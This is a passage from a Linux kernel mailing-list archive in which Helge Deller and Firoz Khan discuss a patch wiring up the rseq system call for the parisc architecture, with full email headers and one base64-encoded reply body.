 nEGCpCdy7ECoPvlIXWY5bRI44SytkmTzECXrl5V6e5xppvIC6GW7WszTkW+3CP/RMjAmXOP
 /lrgdprWXnnWcOt5Ph+cHp9eene5KVIX9FN9O6JaIsg5DYrdf3jIjDo1GFh8W9iADsB3dII
 yGdNo74my3DbX9czp7WIA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:mgM+aIwBloE=:F/R32vSY48h/OxcHCZRB+R
 DxcaJKYz3FJZLvip0Glwv8vwySzozWOQm01VxlPeUgs3vVOICHMpkXwvqhbtZiX8qmSMyYoKe
 zwgYBIOBJDvDbHQPTta+dxU++3bLmMx/kwdGNndBnC74tUK9l9CBUFnHd8V1PX++DqzRpRc46
 8AttZTZsAhtKYLYvVP8XqmKwgb68FNwh3dKLNkjMIqypm2Fg7LlHTGJjUWsbtYB1Rq+Db3U5/
 QYr5kjjm28xwp0FlmQdzCXhrxj5nORst7gR/N8G2U7mKqX7kkNUQdTrGuJptxod30kOPs6BE4
 Q2nBGwkOy3U3dZZf9vvuon/b4DbyTbFXqcZ/dVJkBiGI3SyJos+HW17ugWwur+NPXqYvPsLBs
 adLTqWEzcVVd8THkYJ1dk+K3nqFcAVR/s6iFi69c5iF84PivZlTPO1CSNxMr2Xkulom/Fs3yH
 ZBoC8TOfJsnxytd0U+2LwtxAIsm5ZWRVK6h5rMFtP0EDT3HXW95h9sHSGqvr+ydoY5HIWnaRk
 EIc6Dc86v5eKeiObL4dVykzzRpYkA2rIVPmqzks/nZDhRP4g80Uydpwk8Ac3ccGZC1VDeWWqZ
 XYzjaJncNcrNC0lsRdgvcPLmOawgTIpiWEiTbT/lZar9S+qEDVchoBpK8pTIiwyO9RvE7Dl5M
 dB90Av3cA5KZnDzatvPTZShUDVJD7J1AjegNRUPHfWFHSPUDZasJUvkTnXTgBmWxhRih/7mll
 GVA5VV0tayVdUolN8GuS0qS+IFw8STIsyIZ3Za5g8zyiPUR3CodKm5MJvU2njDavKk1E34hD 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2892283 gmane.linux.ports.parisc:29096 gmane.linux.kernel.year-2038:3458 gmane.linux.kernel.cross-arch:47486
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2892283>

On 08.10.2018 07:16, Firoz Khan wrote:
> Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
> ---
>  arch/parisc/kernel/syscalls/syscall.tbl | 3 ++-
>  1 file changed, 2 insertions(+), 1 deletion(-)
> 
> diff --git a/arch/parisc/kernel/syscalls/syscall.tbl b/arch/parisc/kernel/syscalls/syscall.tbl
> index 4e85293..4334bb7 100644
> --- a/arch/parisc/kernel/syscalls/syscall.tbl
> +++ b/arch/parisc/kernel/syscalls/syscall.tbl
> @@ -349,4 +349,5 @@
>  347     common  preadv2                         sys_preadv2                     compat_sys_preadv2
>  348     common  pwritev2                        sys_pwritev2                    compat_sys_pwritev2
>  349     common  statx                           sys_statx
> -350	common  io_pgetevents			sys_io_pgetevents		compat_sys_io_pgetevents
> \ No newline at end of file
> +350	common  io_pgetevents			sys_io_pgetevents		compat_sys_io_pgetevents
> +351	common	rseq				sys_rseq			compat_sys_rseq

You can't add the rseq syscall for parisc yet.
It needs additional code in the kernel for parisc which hasn't been tested yet.
See my initial untested patch at https://patchwork.kernel.org/patch/10495209/

Helge


From - Thu Nov 08 21:42:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v3 5/6] parisc: wire up rseq system call
Date: Mon, 8 Oct 2018 11:22:38 +0530
Lines: 40
Approved: news@gmane.org
Message-ID: <CALxhOnjjWQRi6G4N-o+GZzkqc_zAYNT3RaN+P6bdEXeE=uY6-g@mail.gmail.com>
References: <1538975801-13735-1-git-send-email-firoz.khan@linaro.org>
 <1538975801-13735-6-git-send-email-firoz.khan@linaro.org>
 <feb53cb6-e20b-42c3-5b53-8b310c772545@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1538977852 29807 195.159.176.226 (8 Oct 2018 05:50:52 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 8 Oct 2018 05:50:52 +0000 (UTC)
Cc: Kate Stewart <kstewart@linuxfoundation.org>,
 Linux-Arch <linux-arch@vger.kernel.org>, Arnd Bergmann <arnd@arndb.de>,
 linux-parisc@vger.kernel.org, y2038 Mailman List <y2038@lists.linaro.org>,
 Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 "James E . J . Bottomley" <jejb@parisc-linux.org>,
 Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
 Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>,
 Deepa Dinamani <deepa.kernel@gmail.com>,
 Philippe Ombredanne <pombredanne@nexb.com>,
 Thomas Gleixner <tglx@linutronix.de>
To: Helge Deller <deller@gmx.de>
Original-X-From: y2038-bounces@lists.linaro.org Mon Oct 08 07:50:47 2018
Return-path: <y2038-bounces@lists.linaro.org>
Envelope-to: glky-y2038@m.gmane.org
Original-Received: from ec2-54-197-127-237.compute-1.amazonaws.com ([54.197.127.237] helo=lists.linaro.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <y2038-bounces@lists.linaro.org>)
	id 1g9ORK-0007cl-QZ
	for glky-y2038@m.gmane.org; Mon, 08 Oct 2018 07:50:47 +0200
Original-Received: by lists.linaro.org (Postfix, from userid 109)
	id 9E99761D4E; Mon,  8 Oct 2018 05:52:56 +0000 (UTC)
Original-Received: from [127.0.0.1] (localhost [127.0.0.1])
	by lists.linaro.org (Postfix) with ESMTP id 72660608D2;
	Mon,  8 Oct 2018 05:52:52 +0000 (UTC)
X-Original-To: y2038@lists.linaro.org
Delivered-To: y2038@lists.linaro.org
Original-Received: by lists.linaro.org (Postfix, from userid 109)
 id B205261524; Mon,  8 Oct 2018 05:52:50 +0000 (UTC)
Original-Received: from mail-yw1-f65.google.com (mail-yw1-f65.google.com
 [209.85.161.65])
 by lists.linaro.org (Postfix) with ESMTPS id BEA4A608D2
 for <y2038@lists.linaro.org>; Mon,  8 Oct 2018 05:52:49 +0000 (UTC)
Original-Received: by mail-yw1-f65.google.com with SMTP id y14-v6so7605991ywa.4
 for <y2038@lists.linaro.org>; Sun, 07 Oct 2018 22:52:49 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:references:in-reply-to:from:date
 :message-id:subject:to:cc;
 bh=hSaAchdbHEkfhLJjlVf6xrMIGvwFgt4/+JLlRf1eVEs=;
 b=dHX4/4b1GpT2DsA9Zu9fxLR7kwZa/nf++wqFPhTRpAIIs9wibW0DUwnU9n13ZmrWzb
 umWiH1rhUHz6Ew6u8smhVV82zttJJm5L8a124AfnVCE4jbnIcAQniu64QtgYzrqLe4VF
 OgAoqOZy3o5gXBrOhwzkAEIdO46sdn8X7Q+g1H2Np1hn9CM+I8tzuMXV+F50QVQlD0SS
 K8xnjS/8SXOE81bS6/dx5UjdutlRuRKRIqUlg7vV9DzFYtzhsCJVaUpqPUOK1tZ0K98y
 Xk19f8YPFyf914a9n7ybGpUij4qyEgMvMBb7Af/4Fg7VOPrnpEJN3k456aeDYpt0ywk5
 g/ig==
X-Gm-Message-State: ABuFfoiaDW5vMsqsQJ9m0MQC5BZBRaRXT/YzuiTHRKqM8gINLq7QvSXv
 F0Pw5ihP5+g1LgdU25/byBtYYqhO1+QuYw+V0nfOkVE2
X-Google-Smtp-Source: ACcGV60zJg1XVKsQbSNsIq35wMsVuWtwJL+uO7l7V4xnf6768V7R0i86nCOHfwuq37vA1B9TmUwzZJPeL2UYNT2MI90=
X-Received: by 2002:a81:25c4:: with SMTP id
 l187-v6mr12455457ywl.236.1538977969320; 
 Sun, 07 Oct 2018 22:52:49 -0700 (PDT)
In-Reply-To: <feb53cb6-e20b-42c3-5b53-8b310c772545@gmx.de>
X-BeenThere: y2038@lists.linaro.org
X-Mailman-Version: 2.1.16
Precedence: list
List-Id: <y2038.lists.linaro.org>
List-Unsubscribe: <https://lists.linaro.org/mailman/options/y2038>,
 <mailto:y2038-request@lists.linaro.org?subject=unsubscribe>
List-Archive: <http://lists.linaro.org/pipermail/y2038/>
List-Post: <mailto:y2038@lists.linaro.org>
List-Help: <mailto:y2038-request@lists.linaro.org?subject=help>
List-Subscribe: <https://lists.linaro.org/mailman/listinfo/y2038>,
 <mailto:y2038-request@lists.linaro.org?subject=subscribe>
Errors-To: y2038-bounces@lists.linaro.org
Original-Sender: "Y2038" <y2038-bounces@lists.linaro.org>
Xref: news.gmane.org gmane.linux.kernel.year-2038:3459 gmane.linux.kernel.cross-arch:47487 gmane.linux.ports.parisc:29097 gmane.linux.kernel:2892291
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.year-2038/3459>

SGkgSGVsZ2UsCgpPbiBNb24sIDggT2N0IDIwMTggYXQgMTE6MTEsIEhlbGdlIERlbGxlciA8ZGVs
bGVyQGdteC5kZT4gd3JvdGU6Cj4KPiBPbiAwOC4xMC4yMDE4IDA3OjE2LCBGaXJveiBLaGFuIHdy
b3RlOgo+ID4gU2lnbmVkLW9mZi1ieTogRmlyb3ogS2hhbiA8Zmlyb3oua2hhbkBsaW5hcm8ub3Jn
Pgo+ID4gLS0tCj4gPiAgYXJjaC9wYXJpc2Mva2VybmVsL3N5c2NhbGxzL3N5c2NhbGwudGJsIHwg
MyArKy0KPiA+ICAxIGZpbGUgY2hhbmdlZCwgMiBpbnNlcnRpb25zKCspLCAxIGRlbGV0aW9uKC0p
Cj4gPgo+ID4gZGlmZiAtLWdpdCBhL2FyY2gvcGFyaXNjL2tlcm5lbC9zeXNjYWxscy9zeXNjYWxs
LnRibCBiL2FyY2gvcGFyaXNjL2tlcm5lbC9zeXNjYWxscy9zeXNjYWxsLnRibAo+ID4gaW5kZXgg
NGU4NTI5My4uNDMzNGJiNyAxMDA2NDQKPiA+IC0tLSBhL2FyY2gvcGFyaXNjL2tlcm5lbC9zeXNj
YWxscy9zeXNjYWxsLnRibAo+ID4gKysrIGIvYXJjaC9wYXJpc2Mva2VybmVsL3N5c2NhbGxzL3N5
c2NhbGwudGJsCj4gPiBAQCAtMzQ5LDQgKzM0OSw1IEBACj4gPiAgMzQ3ICAgICBjb21tb24gIHBy
ZWFkdjIgICAgICAgICAgICAgICAgICAgICAgICAgc3lzX3ByZWFkdjIgICAgICAgICAgICAgICAg
ICAgICBjb21wYXRfc3lzX3ByZWFkdjIKPiA+ICAzNDggICAgIGNvbW1vbiAgcHdyaXRldjIgICAg
ICAgICAgICAgICAgICAgICAgICBzeXNfcHdyaXRldjIgICAgICAgICAgICAgICAgICAgIGNvbXBh
dF9zeXNfcHdyaXRldjIKPiA+ICAzNDkgICAgIGNvbW1vbiAgc3RhdHggICAgICAgICAgICAgICAg
ICAgICAgICAgICBzeXNfc3RhdHgKPiA+IC0zNTAgIGNvbW1vbiAgaW9fcGdldGV2ZW50cyAgICAg
ICAgICAgICAgICAgICBzeXNfaW9fcGdldGV2ZW50cyAgICAgICAgICAgICAgIGNvbXBhdF9zeXNf
aW9fcGdldGV2ZW50cwo+ID4gXCBObyBuZXdsaW5lIGF0IGVuZCBvZiBmaWxlCj4gPiArMzUwICBj
b21tb24gIGlvX3BnZXRldmVudHMgICAgICAgICAgICAgICAgICAgc3lzX2lvX3BnZXRldmVudHMg
ICAgICAgICAgICAgICBjb21wYXRfc3lzX2lvX3BnZXRldmVudHMKPiA+ICszNTEgIGNvbW1vbiAg
cnNlcSAgICAgICAgICAgICAgICAgICAgICAgICAgICBzeXNfcnNlcSAgICAgICAgICAgICAgICAg
ICAgICAgIGNvbXBhdF9zeXNfcnNlcQo+Cj4gWW91IGNhbid0IGFkZCB0aGUgcnNlcSBzeXNjYWxs
IGZvciBwYXJpc2MgeWV0Lgo+IEl0IG5lZWRzIGFkZGl0aW9uYWwgY29kZSBpbiB0aGUga2VybmVs
IGZvciBwYXJpc2Mgd2hpY2ggaGFzbid0IGJlZW4gdGVzdGVkIHlldC4KPiBTZWUgbXkgaW5pdGlh
bCB1bnRlc3RlZCBwYXRjaCBhdCBodHRwczovL3BhdGNod29yay5rZXJuZWwub3JnL3BhdGNoLzEw
NDk1MjA5LwoKVGhhbmtzIGZvciB5b3VyIHVwZGF0ZSEKCldoZW4gSSBjb21waWxlZCB0aGUga2Vy
bmVsIEkgZ290IGJlbG93IHdhcm5pbmdzLgoKPHN0ZGluPjo2OTY6Mjogd2FybmluZzogI3dhcm5p
bmcgc3lzY2FsbCBuZnNzZXJ2Y3RsIG5vdCBpbXBsZW1lbnRlZCBbLVdjcHBdCjxzdGRpbj46MTMz
NToyOiB3YXJuaW5nOiAjd2FybmluZyBzeXNjYWxsIHJzZXEgbm90IGltcGxlbWVudGVkIFstV2Nw
cF0KCkkgYWRkZWQgYW4gSUdOT1JFIGVudHJ5IG5mc3NlcnZjdGwgaW4gc2NyaXB0L2NoZWNrc3lz
Y2FsbHMuc2ggYmVjYXVzZSB0aGlzCnN5c2NhbGwgaXMgZ29uZS4gQnV0IHdlIGRlZmluaXRlbHkg
aGF2ZSB0byBrZWVwIHJzZXEgZW50cnkgb24gcGFyaXNjCmFyY2hpdGVjdHVyZS4KCkkgY2FuIGln
bm9yZSB0aGlzIHBhdGNoIGN1cnJlbnRseSBhcyB5b3VyIHBhdGNoIG5vdCB5ZXQgdGVzdGVkLgoK
RllJLCBJIGhhdmUgbWVyZ2VkIHRoZSBzeXN0ZW0gY2FsbCB0YWJsZSBmaWxlcyBiYXNlZCBvbiBv
dXIgcHJldmlvdXMKZGlzY3Vzc2lvbnMuClBsZWFzZSBjb21tZW50IG9uIHRoYXQuCgpJIHdvdWxk
IGFwcHJlY2lhdGUgaWYgeW91IGNhbiBwZXJmb3JtIGEgYm9vdCB0ZXN0IHdpdGhvdXQgdGhpcyBw
YXRjaApvbiB0aGUgYWN0dWFsCnBsYXRmb3JtLgoKRmlyb3oKCj4KPiBIZWxnZQpfX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXwpZMjAzOCBtYWlsaW5nIGxpc3QK
WTIwMzhAbGlzdHMubGluYXJvLm9yZwpodHRwczovL2xpc3RzLmxpbmFyby5vcmcvbWFpbG1hbi9s
aXN0aW5mby95MjAzOAo=


From - Thu Nov 08 21:42:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 5/6] parisc: wire up rseq system call
Date: Mon, 8 Oct 2018 08:06:26 +0200
Lines: 64
Approved: news@gmane.org
Message-ID: <22745bed-baf6-4f08-6801-3529021cf33e@gmx.de>
References: <1538975801-13735-1-git-send-email-firoz.khan@linaro.org>
 <1538975801-13735-6-git-send-email-firoz.khan@linaro.org>
 <feb53cb6-e20b-42c3-5b53-8b310c772545@gmx.de>
 <CALxhOnjjWQRi6G4N-o+GZzkqc_zAYNT3RaN+P6bdEXeE=uY6-g@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1538978676 23605 195.159.176.226 (8 Oct 2018 06:04:36 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 8 Oct 2018 06:04:36 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Linux-Arch <linux-arch@vger.kernel.org>,
        Arnd Bergmann <arnd@arndb.de>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>
To: Firoz Khan <firoz.khan@linaro.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Oct 08 08:04:30 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g9Oeb-00061J-79
	for glk-linux-kernel-4@m.gmane.org; Mon, 08 Oct 2018 08:04:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726678AbeJHNQj (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 8 Oct 2018 09:16:39 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:34551 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1725842AbeJHNQi (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 8 Oct 2018 09:16:38 -0400
Original-Received: from [192.168.20.60] ([92.116.184.237]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MDQUP-1fvKiv0FOn-00GreV; Mon, 08
 Oct 2018 08:06:28 +0200
Original-Received: from [192.168.20.60] ([92.116.184.237]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MDQUP-1fvKiv0FOn-00GreV; Mon, 08
 Oct 2018 08:06:28 +0200
Openpgp: preference=signencrypt
Autocrypt: addr=deller@gmx.de; prefer-encrypt=mutual; keydata=
 xsBNBFDPIPYBCAC6PdtagIE06GASPWQJtfXiIzvpBaaNbAGgmd3Iv7x+3g039EV7/zJ1do/a
 y9jNEDn29j0/jyd0A9zMzWEmNO4JRwkMd5Z0h6APvlm2D8XhI94r/8stwroXOQ8yBpBcP0yX
 +sqRm2UXgoYWL0KEGbL4XwzpDCCapt+kmarND12oFj30M1xhTjuFe0hkhyNHkLe8g6MC0xNg
 KW3x7B74Rk829TTAtj03KP7oA+dqsp5hPlt/hZO0Lr0kSAxf3kxtaNA7+Z0LLiBqZ1nUerBh
 OdiCasCF82vQ4/y8rUaKotXqdhGwD76YZry9AQ9p6ccqKaYEzWis078Wsj7p0UtHoYDbABEB
 AAHNHEhlbGdlIERlbGxlciA8ZGVsbGVyQGdteC5kZT7CwJIEEwECADwCGwMGCwkIBwMCBhUI
 AgkKCwQWAgMBAh4BAheAFiEE9M/0wAvkPPtRU6Boh8nBUbUeOGQFAlrHzIICGQEACgkQh8nB
 UbUeOGT1GAgAt+EeoHB4DbAx+pZoGbBYp6ZY8L6211n8fSi7wiwgM5VppucJ+C+wILoPkqiU
 +ZHKlcWRbttER2oBUvKOt0+yDfAGcoZwHS0P+iO3HtxR81h3bosOCwek+TofDXl+TH/WSQJa
 iaitof6iiPZLygzUmmW+aLSSeIAHBunpBetRpFiep1e5zujCglKagsW78Pq0DnzbWugGe26A
 288JcK2W939bT1lZc22D9NhXXRHfX2QdDdrCQY7UsI6g/dAm1d2ldeFlGleqPMdaaQMcv5+E
 vDOur20qjTlenjnR/TFm9t 
In-Reply-To: <CALxhOnjjWQRi6G4N-o+GZzkqc_zAYNT3RaN+P6bdEXeE=uY6-g@mail.gmail.com>
Content-Language: en-US
X-Provags-ID: V03:K1:9uYmU3LmjfAJ+HDG+JWGG2r+pavFs+h+Kg2F7UDTTvXNPHi+zlG
 wSZS5xSdmA0r8KAwFOP6Hgx80G0fV0VX0ynGjUkkj7RztoyPVllxunfWW3843e7T8e5vB77
 rhL2AF4jGXinVff1UNBkCoyR7DyFvgq5TUThNW8ZcMOFKeny6cg1krDjLc0qVkYEvxZc6EB
 L+LW8836i3HNB8iolpcGw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:6HLwKVputgs=:69R5WazUSGYugSKN2OQyhY
 UTNJE0nSxVv9JT7rpQPjMAWM2rr8Dwn/yOq0LVhNW/78KSIjXiTIs5oByqi9i9jeiZS/YItpn
 6/2hGdHXc8lmnguD/R4nYP3Iu6Haeg+LuXor7Hh/g/WuAptCriiOoX+NHoSymUXNsjzlweOqv
 Xt0PZTp5rlA2+ma/QT5vwSbbZh5sgKyJ+tTldvTJRe05PPpceqDAemjcWUc1gRJ6iGay09H+x
 Y9nMLYYaad2Hq6lwjzyHZGC9brUq5ahy7l2omXAyP/HNqBpqDamhu0lBWXBI+9yUb8ejOP2tT
 cvTE9JQKchONgEzJBUwLnJEpnDTKOEeuSDeuexgbRVOQCIxfs96N0T2Gv3P0z07OJFCfrXwx2
 y+hyoldwS1CmFRStPeR7ozs+mE9tDOIHrEWj4HHSGCxhzZ7MtIzqBeeGvxPQ9B3g4T4fVfBO9
 sDOwt+1/QLdNBPU8Zka7klu63Q/8JDh0vamYkvxcn7gIRcyvpIhBApbFA0SG1dKQdBK0y40Ig
 kG7JAp7npjQE0HGL03/JvWby5LL+FBtXn/tcgRUflV8pVwpnik/BZs8mP1EvuT7S7kCtyUtc8
 xHoABTQDK+g6XaLqnpTyBU9SiGyw0FezfJtBo13JJyzSx1loiTfYq4tKLj3xENovgeNSGC/u7
 R6ZNXzdRPhpZOHdZFjBSyb+UYy4mwI7X14ysDZoZj8oSO+FMGVFDUUd/5EetzJ3rrM08XRuky
 dGdkJW1XOqyriCEqajZvEwzqhaUT9a/70I56+3y5hRuusk0a4dq+UurkpGquHYJiMQHDPnaG 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2892308 gmane.linux.ports.parisc:29098 gmane.linux.kernel.year-2038:3460 gmane.linux.kernel.cross-arch:47488
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2892308>

On 08.10.2018 07:52, Firoz Khan wrote:
> Hi Helge,
> 
> On Mon, 8 Oct 2018 at 11:11, Helge Deller <deller@gmx.de> wrote:
>>
>> On 08.10.2018 07:16, Firoz Khan wrote:
>>> Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
>>> ---
>>>  arch/parisc/kernel/syscalls/syscall.tbl | 3 ++-
>>>  1 file changed, 2 insertions(+), 1 deletion(-)
>>>
>>> diff --git a/arch/parisc/kernel/syscalls/syscall.tbl b/arch/parisc/kernel/syscalls/syscall.tbl
>>> index 4e85293..4334bb7 100644
>>> --- a/arch/parisc/kernel/syscalls/syscall.tbl
>>> +++ b/arch/parisc/kernel/syscalls/syscall.tbl
>>> @@ -349,4 +349,5 @@
>>>  347     common  preadv2                         sys_preadv2                     compat_sys_preadv2
>>>  348     common  pwritev2                        sys_pwritev2                    compat_sys_pwritev2
>>>  349     common  statx                           sys_statx
>>> -350  common  io_pgetevents                   sys_io_pgetevents               compat_sys_io_pgetevents
>>> \ No newline at end of file
>>> +350  common  io_pgetevents                   sys_io_pgetevents               compat_sys_io_pgetevents
>>> +351  common  rseq                            sys_rseq                        compat_sys_rseq
>>
>> You can't add the rseq syscall for parisc yet.
>> It needs additional code in the kernel for parisc which hasn't been tested yet.
>> See my initial untested patch at https://patchwork.kernel.org/patch/10495209/
> 
> Thanks for your update!
> 
> When I compiled the kernel I got below warnings.
> 
> <stdin>:696:2: warning: #warning syscall nfsservctl not implemented [-Wcpp]
> <stdin>:1335:2: warning: #warning syscall rseq not implemented [-Wcpp]
> 
> I added an IGNORE entry nfsservctl in script/checksyscalls.sh because this
> syscall is gone. But we definitely have to keep rseq entry on parisc
> architecture.

I prefer to keep the warning for rseq for now.
It reminds me that we still may want the rseq syscall.
If the warning is a problem, you may simply add the __IGNORE_rseq define. 

> I can ignore this patch currently as your patch not yet tested.
> 
> FYI, I have merged the system call table files based on our previous
> discussions.
> Please comment on that.

I'll do after testing.

Thanks!
Helge
 
> I would appreciate if you can perform a boot test without this patch
> on the actual
> platform.
> 
> Firoz
> 
>>
>> Helge



From - Thu Nov 08 21:42:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 5/6] parisc: wire up rseq system call
Date: Mon, 8 Oct 2018 12:18:39 +0530
Lines: 80
Approved: news@gmane.org
Message-ID: <CALxhOniZQEMCOY-B1F5=MCdpCYMbeGQAJTtPXhVyJ5TxtOEA5A@mail.gmail.com>
References: <1538975801-13735-1-git-send-email-firoz.khan@linaro.org>
 <1538975801-13735-6-git-send-email-firoz.khan@linaro.org> <feb53cb6-e20b-42c3-5b53-8b310c772545@gmx.de>
 <CALxhOnjjWQRi6G4N-o+GZzkqc_zAYNT3RaN+P6bdEXeE=uY6-g@mail.gmail.com> <22745bed-baf6-4f08-6801-3529021cf33e@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1538981211 11580 195.159.176.226 (8 Oct 2018 06:46:51 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 8 Oct 2018 06:46:51 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Linux-Arch <linux-arch@vger.kernel.org>,
        Arnd Bergmann <arnd@arndb.de>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Oct 08 08:46:46 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g9PJS-0001EF-HG
	for glk-linux-kernel-4@m.gmane.org; Mon, 08 Oct 2018 08:46:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727166AbeJHN7C (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 8 Oct 2018 09:59:02 -0400
Original-Received: from mail-yw1-f65.google.com ([209.85.161.65]:37662 "EHLO
        mail-yw1-f65.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726979AbeJHN7B (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 8 Oct 2018 09:59:01 -0400
Original-Received: by mail-yw1-f65.google.com with SMTP id y14-v6so7644443ywa.4
        for <linux-kernel@vger.kernel.org>; Sun, 07 Oct 2018 23:48:50 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc;
        bh=5eeDBFYTvmzE5kSPQxuACQNuY4qKPrp8/x8wf9lSsBo=;
        b=KOFxCorEVyDaSSpK4yd0JQvncpbRZLzWMW34N1xJhM69rx2JgX8HBuyLEYpHd6Qb9Z
         ZR5F30WwASVAxQR26mHZkhpx4KJBu9y3cbKnb3eE6hJWI0F2sAAkEqjAPHn8R0BfWPe3
         0S1CMnuKiD0MsdwV5s9BYb+8My4aPTF+bmqsk=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=5eeDBFYTvmzE5kSPQxuACQNuY4qKPrp8/x8wf9lSsBo=;
        b=OoQ25npTMFu1O1wHz7LdGFBY8dNV3Sr4yKzkcGlKaFQ7SsgwV7PVpms9+NMiMnG7mr
         3hvlyYzsndyI/TZMcK6VGKFDLFnE99Sp323jW/rghNrVY/PgDiPzhwoPqa4YIb3OP3Kw
         311YKUOt5liQ2lS58nSdck2E8+DYOhRR7RSv2Meh0G7uRMk6ZchluZ/KMRz4kJUAXXLn
         zdEe4GPzp7/sYl69+EuSk44vP5kyMRDH+qTVK3NmHjpm32mRRgrncmC0msPurP8D6g0s
         d50eZTWuTWyJWhzVU1KYH6HjL9f4d+DCq3KgSDxmf+SBDyHo3f8+7iC52ng5sbzqpe44
         WKsg==
